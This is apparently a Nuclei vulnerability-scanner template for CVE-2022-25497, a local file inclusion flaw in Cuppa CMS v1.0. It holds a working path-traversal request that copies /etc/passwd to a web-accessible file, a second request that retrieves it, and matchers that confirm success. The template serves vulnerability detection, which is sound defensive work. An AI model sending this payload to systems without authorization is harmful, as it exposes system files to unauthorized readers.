Cuppa CMS v1.0 - Local File Inclusion

id: CVE-2022-25497

info:
  name: Cuppa CMS v1.0 - Local File Inclusion
  author: theamanrawat
  severity: medium
  description: |
    CuppaCMS v1.0 was discovered to contain an arbitrary file read via the copy function.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, sensitive information disclosure, and potential remote code execution.
  remediation: |
    Upgrade to the latest version of Cuppa CMS or apply the provided patch to fix the LFI vulnerability.
  reference:
    - https://github.com/CuppaCMS/CuppaCMS
    - https://nvd.nist.gov/vuln/detail/CVE-2022-25497
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2022-25497
    cwe-id: CWE-552
    epss-score: 0.03642
    epss-percentile: 0.88219
    cpe: cpe:2.3:a:cuppacms:cuppacms:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: cuppacms
    product: cuppacms
  tags: cve,cve2022,lfi,cuppa,intrusive,cuppacms,vuln

http:
  - raw:
      - |
        POST /js/filemanager/api/index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"from":"//../../../../../../../../../../../../../etc/passwd","to":"/../{{randstr}}.txt","action":"copyFile"}
      - |
        GET /{{randstr}}.txt HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: header_2
        words:
          - text/plain

      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
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